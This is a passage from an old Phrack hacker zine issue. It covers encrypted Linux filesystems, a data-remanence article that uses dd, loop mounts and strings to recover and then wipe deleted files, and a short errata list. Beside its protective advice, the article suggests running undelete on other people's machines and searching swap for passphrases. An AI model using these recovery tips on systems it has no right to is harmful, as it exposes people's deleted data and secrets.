/dev/hda2 /fs/hda2 ext2 defaults,encryption=blowfish 0 0
Now, when you boot, you will get prompted for the passphrase needed
to mount /fs/hda2. An attacker will get virtually nothing from your
machine.. they won't even know what applications you have installed.
I use a similar scheme to keep the contents of removable media and
PCMCIA flash cards encrypted.
The kernel patches have other applications besides encrypted filesystems.
The patches give support for ENskip, and a tunneling hack which allows
encrypted IP through UDP called CIPE. Check out kerneli.org for more
info on this stuff.
Credit, and thanks go to the kernel and patch set maintainers.
References:
1. ftp://ftp.aanet.ru/pub/Linux/utils/util-linux-2.9e.tar.gz
2. ftp://ftp.kerneli.org/pub/kerneli/v2.2/patch-int-2.2.4.1.gz
|0x05|------------------------------------------------------------------------|
|------------------------------ Data Remanence -------------------------------|
|phunda mental <phundie@yahoo.com>--------------------------------------------|
So, you've encrypted all your goodies with 3DES, selected strong
passphrases, and now you are content to sit back and have a beer,
knowing that your stuff is secure, right?
Yeah. Sure it is.
We are facing the problem of data remanence, and it's a bitch. Strong
crypto only protects the ciphertext; if the plaintext is sitting
around on your hard drive you're still screwed.
Data remanence, as the name implies is the residual remains of data
after it is has been deleted, cleared or purged. In this document, the
term "deleted" refers to the normal OS-supplied delete command. Clearing
data refers to a process that attempts to destroy data such that it
cannot be reconstructed with normal OS-supplied commands or functions,
including specially created software. Purging refers to a process
(generally in hardware) that attempts to defeat all of the above
methods of reconstruction, along with laboratory-based reconstruction
techniques.
Obviously, DR occurs in many forms, and can be exploited in a few
different ways.
Software Methods
The first way that DR can bite us in the ass is one that any competent
DOS/Windows user should know about: the undelete command. The standard
MS delete just kills the pointer to the file in the FAT, while the
data itself still sits on the disk. Undelete just restores that
pointer, and we can get some (or all) of those data bits back.
Well, depending on which color hat we are wearing at the moment, this
may be helpful. If you are snooping on some alien machine, remember to
try undelete when looking for interesting files. Else, get a program
that can help you clear the data. In a pinch, defragging a hard drive
can sometimes defeat something like undelete (depending on how the
OS in question works).
Awhile back I was sitting in IRC, discussing DR under Linux. The
standard response that I got was that since ext2 (the Linux
filesystem) doesn't operate like FAT, the undelete-type practice can't
be done and so we have nothing to worry about. This simply isn't true.
Under linux, do the following (you may need root, depending on how you
configured your setup):
dd if=/dev/zero of=disk.image bs=1024 count=300
mkfs.ext2 disk.image
mount disk.image /mnt -o loop
cd /mnt
We just made a 300k looped filesystem, and mounted it on /mnt. Now CD
to /mnt and create a file with some known text in it .. try:
ps aux > sensitive.file
sync
rm sensitive.file
Now, we've deleted our sensitive file, but as will be demonstrated,
this file has not been cleared.
Now umount /mnt and do:
strings < disk.image | grep USER
You'll see some text from the ps.
Now, if your gear got confiscated imagine someone just running this
command on /dev/hda1, or whatever. Don't think DoJ wouldn't pay people
to weed through all the junk to obtain a few juicy bytes, or run some
nice pattern matching software on the strings output to find stuff
that looks interesting.
Or, maybe you don't want the contents of a file .. maybe you want a
passphrase, or the internal state of an RNG or a cipher?
Dig around in the swap partition, maybe you'll get lucky.
This is an example of what DoD calls a "keyboard attack" in the "green
book[1]." It is an attack to exploit the remnant data on a system
using a software method. We need a clearing technique here too, and a
good way is to zero the actual bits of the file; ext2 will eventually
support this internally[2], but for now you can just rm the file and
then make a new file of all zeros that fills the entire disk. Lets try
that.
mount disk.image /mnt -o loop
cd /mnt
dd if=/dev/zero of=output bs=100k
#wait for error
sync
rm output
Now umount the disk.image and run strings on it again. You'll notice
that the ps output is gone. You'll also notice that some of the the
filename is still there. If the file is under some sub-directory, you
can rmdir the directory and use the above method. If the file is at
root-level, you're hosed: people can see your filename.
Overwriting the file's bits one-for-one with zeros insures that one
will not be able to read the data back with the recording device
itself; thus software, or "keyboard" attacks are successfully defeated
by such software measures.
It is a good practice to create a script that checks /proc/meminfo
under Linux. If there is enough RAM free to hold any crap floating in
swap, then free the swap partition, zero it (or use other techniques,
discussed below), make a new swap partition and reattach it. This
could be put in a cron job that runs at off-peak hours.
There are also programs like "wipe.com" (DOS)[3], and "Burn" (Mac)[4]
that wipe the bits of certain files, allowing a more controlled (and
thus faster) method of wiping remnant data. I don't know of a way to
securely wipe files under Linux other than by filling the disk. The
programs that I found that report to do so fail, and I can't think of
a reliable way to do it outside of ext2.c.
Hardware Methods
There is a third type of attack, however, that does not depend on what
the device (say, a hard disk) claims is on the media. This type of
attack analyzes the media directly; we'll call it a laboratory attack.
A laboratory attack is highly theoretical, but we had better talk
about it anyway.
The first thing we have to remember is that digital media isn't purely
digital: we record our bits on an essentially analog medium, which is
precisely why we need stuff like MFM (modified frequency modulation)
encoding; an actual DC level would erase data, not record it.
So, lets talk about disks, and cover some magnetic recording
properties real quick. I'm going to be fast and loose with the
electronics, I know it is terribly inaccurate; we just need the basic
concepts here.
In general, magnetic recording is achieved by issuing a magnetic
charge onto some ferrous-type material with an electromagnet. To read
the data back, the juice to the electromagnet is shut off, and the
disk spins by the coil of the magnet, which induces a voltage in the
electromagnet, effectively making a small generator. Now, for the sake
of accuracy we don't just spit bits out into the magnetic medium,
because DC levels don't work with transformers; which is what our
read/write head is, basically. So we need to encode it in an analog
signal using some modulation technique. For the sake of argument, lets
say our disk is using something like frequency shift keying (FSK).
In reality, our drives don't do this, but our modems do. I'll use FSK
since it is easier to talk about, and easy for newbies to understand.
The way we encode our data is to take every digital one and play an
analog tone for some time, T, and some other tone for a digital zero,
also for some time T. Maybe we encode 0 as 2600 Hz and 1 as 2000 Hz
(the Kansas City standard for storing digital info on cassette tape is
0 = 2400 Hz and 1 = 1200 Hz).
The reason I'm reducing this to a simplified audio analogy will soon
be obvious.
If you record over a commercial cassette tape with a shitty tape
recorder, where there are periods of silence in your recording you may
hear the original commercial tune. This remnant signal is there all
the time, not just during silence.
What has happened is that the magnetic flux delivered by the
read/write head of your tape recorder was not powerful enough to
completely change the polarization of the magnetic particles on the
tape for the time that the particles were exposed. Those particles act
in a predictable way, and if we know their current state, and the
signal applied to them the last time, we can recover the previous
state. Chock this one up to magnetic hysteresis, it could also be due
to the head of the tape recorder not being aligned perfectly. More on
this option below.
If a particle on a disk has a current polarization strength of A,
and we know what sort of flux was applied to the particle (which we
can find by examining the read/write head) then we can find the
the state of the particle prior to the last write to it, which allows
us to reconstruct the data.
Real world bit recover would simply require looking at these particles
and taking into account the encoding scheme used. The SFS (Secure
File System) documentation gives a good description of many different
encoding schemes.
As I said, this is a theoretical attack. I am not aware of it ever
actually having been used to recover data.
How can we defeat this attack? By overwriting the data many times.
If we overwrite our data many times, the stored charge on the particle
gets constantly closer to the upper-end ideal value, which disguises
the data "underneath." We can use several applications of random bits,
and then several applications of 00h's and FFh's to overwrite the data.
The random bits insure that the attacker doesn't find a pattern. The
multiple applications of FF expose the particles to the magnetic flux
for a longer period of time. Each application gets those particles
closer and closer to the ideal representation of FF. The truly
paranoid will want to do all of this several times. Some recommend
writing zeros after the ones. This is probably pure paranoia, and it
might be a good idea.
As alluded to above, there is another type of data remanence that can
be attacked in the lab due to variance in the position of the
read/write head.
As the disk spins, the head will float over different portions of the
disk each revolution. When a write occurs, it may charge certain
particles and on an overwrite it may miss some of those particles,
leaving the original information behind for exploitation by the lab.
This lets an attacker read further back into the data record than by
weeding out signals by cancellation, and is probably easier to perform
in some respects.
We have no control over this whatsoever in software. To protect
against this attack requires either degaussing of the media, or
encryption of the entire device from the first moment it is used until
the last.
Using encryption stamps out all of the above problems in one clean,
elegant stroke.
Imagine a device that sits in-line between your IDE (or SCSI) adapter
and the disk controller of the drive. All attempts by the PC to
negotiate with the drive are intercepted by this device, and the data
is either encrypted or decrypted as needed and sent along. Thus
everything that ever touches the drive: file system formatting, the OS
... everything gets encrypted and stored. The entire operation would
be transparent to the host computer, and independent of its
processing. The user merely gives a key to this controller at start
up: maybe there is a keypad embedded into a 5.25" faceplate that is
mounted on the computer's case.
Such a hardware solution not only takes care of data remanence issues
but also helps to secure the computer as a whole: with the partition
table, and OS encrypted, the machine cannot boot without the user
having set up the in-line filter with the correct key.
Can a well funded adversary pull off a laboratory attack like those
discussed here? Probably. So if you're not using some form of
encryption, you might want to start thinking about it. For the stuff
that no one but you can know about, keep the plaintext on floppies
and the ciphertext on your hard drive. Floppies can be destroyed or
degaussed easily. Remember to watch your swap partition though; it is
probably wise to disengage swap when manipulating sensitive material.
Best of all, RAM is cheap. Buy 256M of it and give up swap space
completely.
Against a sufficiently powerful attacker who has your hard drive, you
are in a world of hurt without in-line encryption. Just how powerful
"sufficiently powerful" needs to be to actually make this stuff work
is open to speculation.
Notes:
1. NCSC-TG-025 "A Guide to Understanding Data Remanence in Automated
Information Systems" http://www.geekstreet.com/green.html
2. This was all tested with linux kernel version 2.0.35. I do not know
if 2.1.* will ever have a newer ext2 or not. Look into the chattr
command on your machine, and dig into the kernel source to see if the
ext2 code does anything or not. On 2.0.*, it does nothing.
3. From the No-where utilities, get it from your favorite HP filez
site.
4. Burn is available from the Info-Mac archives.
|0x06|------------------ Phrack 55 Addendum and Errata -----------------------|
|-----------------------------------------------------------------------------|
P55-14@71:
I would like to make the following correction in my article "A GPS Primer"
from Phrack 55. The Teledesic project is _not_ a MEO satellite venture,
but rather, it uses Low Earth Orbit (LEO) satellites. Thanks to Eric Rachner
for pointing this out.
[ Thankz to e5 for submitting this correction. ]
P55-18:
File 18 was erroneously listed as file 17.
|EOF|-------------------------------------------------------------------------|
Reference in New Issue View Git Blame Copy Permalink